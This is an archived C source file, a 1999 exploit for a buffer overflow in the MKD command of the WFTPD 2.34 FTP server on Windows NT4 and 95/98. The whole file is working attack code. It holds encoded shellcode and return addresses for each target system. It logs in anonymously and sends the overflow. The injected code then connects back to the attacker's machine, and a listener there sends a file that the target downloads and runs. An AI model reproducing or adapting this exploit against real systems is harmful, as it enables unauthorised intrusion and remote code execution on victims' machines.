home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpdexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  436 lines

  1. /*
  2.  * $Id: wftpdexp.c,v 1.1.1.1 2005/02/12 19:30:33 loni Exp $
  3.  *
  4.  * Descrition: Exploit program for the WFTPD 2.34 buffer overflow in MKD
  5.  *            
  6.  * Author: Alberto Solino (asolino@core-sdi.com)
  7.  *
  8.  * Vulnerable Systems: 
  9.  *  Microsoft Windows NT 4.0 Service Pack 3 
  10.  *  Microsoft Windows NT 4.0 Service Pack 4 
  11.  *  Microsoft Windows 95
  12.  *  Microsoft Windows 98
  13.  *
  14.  * Copyright (c) 1998,1999 CORE SDI S.A., Buenos Aires, Argentina.
  15.  * All rights reserved.
  16.  *
  17.  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
  18.  * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
  19.  * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
  20.  * FROM THE USE OR MISUSE OF THIS SOFTWARE.
  21.  *
  22.  */
  23.  
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <sys/wait.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29. #include <netdb.h>
  30. #include <unistd.h>
  31. #include <signal.h>
  32. #include <setjmp.h>
  33. #include <stdlib.h>
  34. #include <string.h>
  35. #include <stdio.h>
  36.  
  37. #define    BUFLEN                8192
  38. #define    JUMP_TO_CALL_EAX_SP3        0x77fa5ac7
  39. #define    JUMP_TO_CALL_EAX_SP4        0x77f7635d
  40. #define    JUMP_TO_CALL_EAX_98        0xbff7ff7b    
  41. #define    JUMP_TO_CALL_EAX_95        0x7f711130
  42. #define    JUMP_TO_BEGIN            0xe953feffff
  43.  
  44. #define    IP_OFFSET            261
  45. #define    PORT_OFFSET            259
  46. #define    XOR_MASK            0x98
  47. #define    DEFAULT_PORT            0x1515
  48.  
  49. jmp_buf jmpbuf;
  50. int ssock;
  51. int handler_sigusr1();
  52. int handler_sigchld();
  53. int handler_sigterm();
  54.  
  55. char shell_code[]="MKD "
  56. "\xeb\xe\x5e\x56\x5f\xac\x3c\xa0\x74\xb\x90\x34\x98\xaa\xeb\xf5\xe8\xed\xff"
  57. "\xff\xff"
  58. "\x70\x98\x98\x98\x98\x8\xc6\x1b\x76\x9d\x19\x76\x98\x99\x98\x98\x23\x98\x9a"
  59. "\x98\x98\x99\x6b\x27\x17\x9a\x98\x98\x99\x6f\x19\x74\x98\x9a\x98\x98\xcf\xce"
  60. "\xa9\x51\xfe\xd9\xfe\xd9\xc9\xcb\xcb\x22\xc8\x20\xdd\x98\x67\x8a\x11\x5e\xc3"
  61. "\xa8\x58\x4f\xdb\x1c\x58\xed\x60\x4f\x1c\x58\xec\x94\xcb\xce\x22\xd4\x20\xdd"
  62. "\x98\x67\x8a\x33\x73\x7f\xc1\xdb\x7a\x4e\xc6\xc7\xa9\x4a\xca\xda\xca\xda\xca"
  63. "\x67\xcf\x80\xc8\xf2\x88\x22\x70\x99\x98\x98\x99\x6a\xca\xc8\x67\xcf\x84\xa9"
  64. "\x58\xfe\xd0\xc8\xfe\xd8\xc8\x67\xcf\x88\xce\x11\x5e\xc1\xc0\xc8\xc9\xa9\x4a"
  65. "\xca\xfe\xda\xfe\x59\x7a\x9b\xfe\x1b\x5a\x9c\xca\x22\x1a\x9a\x98\x98\x99\x52"
  66. "\xca\xc8\x67\xcf\xbc\xa9\x4a\xda\xda\xc1\xc0\xc9\xc8\xca\x22\x1a\x9a\x98\x98"
  67. "\x99\x52\xca\x67\x8f\x11\x5b\xc0\xc8\xa9\x4a\xca\xfe\xd2\xca\xce\xc8\x67\xcf"
  68. "\xbc\x1d\x58\xec\x90\xc8\xce\xcb\x67\xcf\x9c\x73\x7f\xcb\x67\xcf\x90\xc1\xc1"
  69. "\xa9\x4a\xda\xca\x22\x1a\x9a\x98\x98\x99\x52\xca\x67\xcf\x94\xa9\x4a\xca\x67"
  70. "\xcf\x8c\x98\x98\x9a\x98\x8d\x8d\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
  71. "\x98\x98\x98\x98\x98\x98\x98\x98\x98\xd3\xdd\xca\xd6\xdd\xd4\xab\xaa\xb6\xdc"
  72. "\xd4\xd4\x98\xc7\xf4\xfb\xea\xfd\xf9\xec\x98\xc7\xf4\xef\xea\xf1\xec\xfd\x98"
  73. "\xc7\xf4\xfb\xf4\xf7\xeb\xfd\x98\xcf\xf1\xf6\xdd\xe0\xfd\xfb\x98\xdf\xf4\xf7"
  74. "\xfa\xf9\xf4\xd9\xf4\xf4\xf7\xfb\x98\xdd\xe0\xf1\xec\xc8\xea\xf7\xfb\xfd\xeb"
  75. "\xeb\x98\x98\xcf\xcb\xd7\xdb\xd3\xab\xaa\xb6\xdc\xd4\xd4\x98\xeb\xf7\xfb\xf3"
  76. "\xfd\xec\x98\xfb\xf7\xf6\xf6\xfd\xfb\xec\x98\xeb\xfd\xf6\xfc\x98\xea\xfd\xfb"
  77. "\xee\x98\xcf\xcb\xd9\xcb\xec\xf9\xea\xec\xed\xe8\x98\xcf\xcb\xd9\xdb\xf4\xfd"
  78. "\xf9\xf6\xed\xe8\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
  79. "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
  80. "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
  81. "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
  82. "\x98\x98\x98\xa0\n\n";
  83.  
  84. void readSock(int sock)
  85. {
  86.     char myBuff[256];
  87.     char c;
  88.     char *cp=myBuff;
  89.  
  90.     do {
  91.         recv(sock,&c, 1, 0);
  92.         fprintf(stdout,"%c",c);
  93.         if ( cp < &myBuff[sizeof(myBuff)-1] )
  94.             *cp++ = c;
  95.         if ( c == '\n' ) {
  96.             if ( myBuff[3] != '-' )
  97.                 break;
  98.             else
  99.                  cp = myBuff;
  100.         }
  101.     } while(1); 
  102. }
  103.  
  104. void usage(char *prg)
  105. {
  106.     printf("wftpd v.2.34 exploit (c) 1999 Core SDI S.A.\n");
  107.     printf("Target OS: WinNT 4.0 SP5/SP4/SP3 Win95/98\n\n");
  108.     printf("Usage mode: %s -s os <hostname> <filetosend> [srvport]\n\n",
  109.         prg);
  110.     printf("hostname\t\t: target host\n");
  111.     printf("filetosend\t\t: filename to send and execute\n");
  112.     printf(
  113.         "srvport\t\t\t: port number to wait connection from target host\n");
  114.     printf("\t\t\t  machine (optional).\n");
  115.     printf("-s os\t\t\t: set target operative system\n");
  116.     printf("\t\t\t\tsp4 for WinNT 4.0 SP4 (English)\n");
  117.     printf("\t\t\t\tsp3 for WinNT 4.0 SP3 (English)\n\n");
  118.     printf("\t\t\t\tw95 for Windows 95 (English)\n\n");
  119.     printf("\t\t\t\tw98 for Windows 98 (English)\n\n");
  120.     exit(254);
  121. }
  122.  
  123. int main(int argc, char **argv)
  124. {
  125.     int sock;
  126.     struct sockaddr_in sin;
  127.     int port;
  128.     u_long ip;
  129.     unsigned char d;
  130.     struct hostent *phe;
  131.     char *progname = argv[0];
  132.     char *hostname;
  133.     char *filename;
  134.     char localhost[100];
  135.     int j;
  136.     pid_t pid;
  137.     unsigned char spnum=0;    
  138.  
  139.     while ((j = getopt(argc, argv, "s:")) != -1)
  140.     switch (j) {
  141.         case 's':
  142.             if( (strcasecmp(optarg, "sp4")==0) ) {
  143.                 spnum=4;
  144.             }
  145.             else if( (strcasecmp(optarg, "sp3")==0) ) {
  146.                 spnum=3;
  147.             } 
  148.             else if( (strcasecmp(optarg, "w95")==0) ) {
  149.                 spnum=95;
  150.             }
  151.             else if( (strcasecmp(optarg, "w98")==0) ) {
  152.                 spnum=98;
  153.             }
  154.             else {
  155.                 printf("\ninvalid target os!\n\n");
  156.                 usage(progname);
  157.             }
  158.             break;
  159.         default:
  160.             usage(progname);
  161.     }
  162.  
  163.     argc -= optind;
  164.     argv += optind;
  165.  
  166.     if (argc < 2 || spnum == 0) {
  167.         usage(progname);
  168.         exit(254);
  169.     } else {
  170.         hostname = argv[0];
  171.         filename = argv[1];
  172.         if ( strlen(filename) > 12 ) {
  173.             fprintf(stderr,"Filename must be <= 12 characteres\n");
  174.             exit(254);
  175.         }
  176.         if ( (argc - 2) > 0 ) 
  177.             port = atoi(argv[2]);
  178.         else
  179.             port = DEFAULT_PORT;
  180.     }
  181.  
  182.     printf("wftpd exploit (c) 1999 Core SDI S.A.\n\n");
  183.  
  184.     switch ( spnum ) {
  185.  
  186.         case 3:
  187.             shell_code[271] = ((JUMP_TO_CALL_EAX_SP3 >> 24) & 0xff);
  188.             shell_code[270] = ((JUMP_TO_CALL_EAX_SP3 >> 16) & 0xff);
  189.             shell_code[269] = ((JUMP_TO_CALL_EAX_SP3 >> 8 ) & 0xff);
  190.             shell_code[268] = (JUMP_TO_CALL_EAX_SP3 & 0xff); 
  191.  
  192.         break;
  193.  
  194.         case 4:
  195.             shell_code[271] = ((JUMP_TO_CALL_EAX_SP4 >> 24) & 0xff);
  196.             shell_code[270] = ((JUMP_TO_CALL_EAX_SP4 >> 16) & 0xff);
  197.             shell_code[269] = ((JUMP_TO_CALL_EAX_SP4 >> 8 ) & 0xff);
  198.             shell_code[268] = (JUMP_TO_CALL_EAX_SP4 & 0xff); 
  199.  
  200.         break;
  201.  
  202.         case 98:
  203.             shell_code[271] = ((JUMP_TO_CALL_EAX_98 >> 24) & 0xff);
  204.             shell_code[270] = ((JUMP_TO_CALL_EAX_98 >> 16) & 0xff);
  205.             shell_code[269] = ((JUMP_TO_CALL_EAX_98 >> 8 ) & 0xff);
  206.             shell_code[268] = (JUMP_TO_CALL_EAX_98 & 0xff); 
  207.         break;
  208.  
  209.         case 95:
  210.             shell_code[271] = ((JUMP_TO_CALL_EAX_95 >> 24) & 0xff);
  211.             shell_code[270] = ((JUMP_TO_CALL_EAX_95 >> 16) & 0xff);
  212.             shell_code[269] = ((JUMP_TO_CALL_EAX_95 >> 8 ) & 0xff);
  213.             shell_code[268] = (JUMP_TO_CALL_EAX_95 & 0xff); 
  214.  
  215.         break;
  216.     }
  217.  
  218.     shell_code[428] = ((JUMP_TO_BEGIN >> 32) & 0xff);
  219.     shell_code[429] = ((JUMP_TO_BEGIN >> 24) & 0xff);
  220.     shell_code[430] = ((JUMP_TO_BEGIN >> 16) & 0xff);
  221.     shell_code[431] = ((JUMP_TO_BEGIN >> 8) & 0xff);
  222.     shell_code[432] = ((JUMP_TO_BEGIN) & 0xff);
  223.  
  224.     if ( gethostname(localhost,sizeof(localhost)) < 0) {
  225.         perror("gethostname(3)");
  226.         exit(254);
  227.     }
  228.  
  229.     if ( (phe = gethostbyname(localhost)) ) {
  230.         bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
  231.     } else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
  232.         fprintf(stderr,"can't get %s host entry\n", hostname);
  233.         exit(254);
  234.     }
  235.  
  236.     ip=ntohl(ip);
  237.  
  238.     d = (char) (((port&0xff00) >> 8) ^ XOR_MASK);
  239.     if ( (d == 0x20 ) || (d == 00) || (d == 0xa) || (d == 0x2f) || 
  240.              (d == 0xde) || (d == XOR_MASK) || (d == 0xce) ) {
  241.         fprintf(stderr,
  242.             "Couldn't use %d xored with current mask, change it!\n",
  243.             port);
  244.         exit(254);
  245.     } else
  246.         shell_code[PORT_OFFSET] = d;
  247.  
  248.     d = (char) ((port&0xff) ^ XOR_MASK);    
  249.     if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
  250.         fprintf(stderr,
  251.             "Couldn't use %d xored with current mask, change it!\n",
  252.             port);
  253.         exit(254);
  254.     } else
  255.         shell_code[PORT_OFFSET+1] = d;
  256.  
  257.     d = (char) (((ip&0xff000000) >> 24) ^ XOR_MASK);
  258.     if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
  259.         fprintf(stderr,
  260.             "Couldn't use current client ip address xored, "
  261.             "change it!\n");
  262.         exit(254);
  263.     } else
  264.         shell_code[IP_OFFSET] = d;
  265.  
  266.     d = (char) (((ip&0xff0000) >> 16) ^ XOR_MASK);
  267.     if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
  268.         fprintf(stderr,
  269.             "Couldn't use current client ip address xored, "
  270.             "change it!\n");
  271.         exit(254);
  272.     } else
  273.         shell_code[IP_OFFSET+1] = d;
  274.  
  275.  
  276.     d = (char) (((ip&0xff00) >> 8) ^ XOR_MASK);
  277.     if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
  278.         fprintf(stderr,
  279.             "Couldn't use current client ip address xored, "
  280.             "change it!\n");
  281.         exit(254);
  282.     } else
  283.         shell_code[IP_OFFSET+2] = d;
  284.  
  285.     d = (char) ((ip&0xff) ^ XOR_MASK);
  286.     if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
  287.         fprintf(stderr,
  288.             "Couldn't use current client ip address xored, "
  289.             "change it!\n");
  290.         exit(254);
  291.     } else
  292.         shell_code[IP_OFFSET+3] = d;
  293.  
  294.     if ( (pid = fork()) < 0) {
  295.         /* fork error */
  296.         perror("fork(2)");
  297.         exit(254);
  298.     } else if (pid == 0) {
  299.         /* Child */
  300.         struct sockaddr_in ssin;
  301.         FILE *fp;
  302.         char buffer[BUFLEN];
  303.         int cnt;
  304.         int alen=0;
  305.  
  306.         signal(SIGTERM, (void *) &handler_sigterm);
  307.         if ( (fp=fopen(filename,"rb")) == NULL ) {
  308.             perror("fopen(3)");
  309.             close(ssock);
  310.             exit(254);
  311.         }
  312.         printf("Creatin' socket... ");
  313.  
  314.         if ( (sock=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
  315.             perror("socket(2)");
  316.             exit(254);
  317.         }
  318.  
  319.         printf("OK\n");
  320.  
  321.         bzero(&sin,sizeof(sin));
  322.         sin.sin_family = AF_INET;
  323.         sin.sin_port = htons(port);
  324.         sin.sin_addr.s_addr = INADDR_ANY;
  325.  
  326.         printf("Binding socket... ");
  327.  
  328.         if ( bind(sock,(struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
  329.             perror("bind(2)");
  330.             exit(254);
  331.         }
  332.  
  333.         printf("OK\n");
  334.  
  335.         printf("Listening socket... ");
  336.         if ( listen(sock,5) < 0 ) {
  337.             perror("listen(2)");
  338.             exit(254);
  339.         }
  340.  
  341.         printf("OK\n");
  342.         
  343.         kill(getppid(),SIGUSR1);
  344.  
  345.         printf("Ready to accept on port %d\n",port);
  346.         fflush(stdout);
  347.         while (1) {
  348.             ssock = accept(sock, (struct sockaddr *)&ssin, &alen);
  349.             printf("Receiving conection...\n");
  350.             fflush(stdout);
  351.             printf("Sending %s\n",filename);
  352.             send(ssock,filename,strlen(filename),0);
  353.             while ( !feof(fp) ) {
  354.                 cnt=fread(&buffer,1,BUFLEN,fp);    
  355.                 if ( (send(ssock,buffer,cnt,0)) != cnt) {
  356.                     perror("send(2)");
  357.                     close(ssock);
  358.                     exit(254);
  359.                 }
  360.             }    
  361.             printf("Finishing connection\n");
  362.             fclose(fp);
  363.             close(ssock);
  364.             exit(1);
  365.         }
  366.     } else {
  367.         /* Parent */
  368.         signal(SIGCHLD, (void *) &handler_sigchld);
  369.         signal(SIGUSR1, (void *) &handler_sigusr1);
  370.         if ( setjmp(jmpbuf) == 0 )
  371.             pause();    
  372.  
  373.         if ( (sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 ) {
  374.             kill(pid,SIGTERM);
  375.             perror("socket(2)");
  376.             exit(254);
  377.         }
  378.  
  379.  
  380.         bzero(&sin, sizeof(struct sockaddr_in));
  381.         sin.sin_family = AF_INET;
  382.         sin.sin_port = htons(21);
  383.  
  384.         if ( (phe = gethostbyname(hostname)) ) {
  385.             bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
  386.         } else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
  387.             fprintf(stderr,"can't get %s host entry\n", hostname);
  388.             kill(pid,SIGTERM);
  389.             exit(254);
  390.         }
  391.  
  392.         sin.sin_addr.s_addr = ip;
  393.  
  394.         if (connect(sock,(struct sockaddr *)&sin,
  395.             sizeof(struct sockaddr))<0) {
  396.             kill(pid,SIGTERM);
  397.             perror("connect(2)");
  398.             exit(254);
  399.         }
  400.  
  401.  
  402.         readSock(sock);
  403.         fprintf(stdout,"\nLogin anonymous\n");
  404.         send(sock, "USER ftp\n", strlen("USER ftp\n"),0);
  405.         readSock(sock);
  406.         send(sock, "PASS blueskies\n", strlen("PASS blueskies\n"),0);
  407.         readSock(sock);
  408.         fprintf(stdout,"\nSending exploit!\n");
  409.         fflush(stdout);
  410.         send(sock, shell_code, strlen(shell_code),0);
  411.  
  412.         waitpid(0,NULL,0);
  413.         close(sock);
  414.         exit(1);
  415.  
  416.     }
  417.         
  418.     return (0);
  419. }
  420.  
  421. int handler_sigusr1()
  422. {
  423.     longjmp(jmpbuf,1);
  424. }
  425.  
  426. int handler_sigchld()
  427. {
  428.     exit(254);
  429. }
  430.  
  431. int handler_sigterm()
  432. {
  433.     close(ssock);
  434.     exit(254);
  435. }
  436.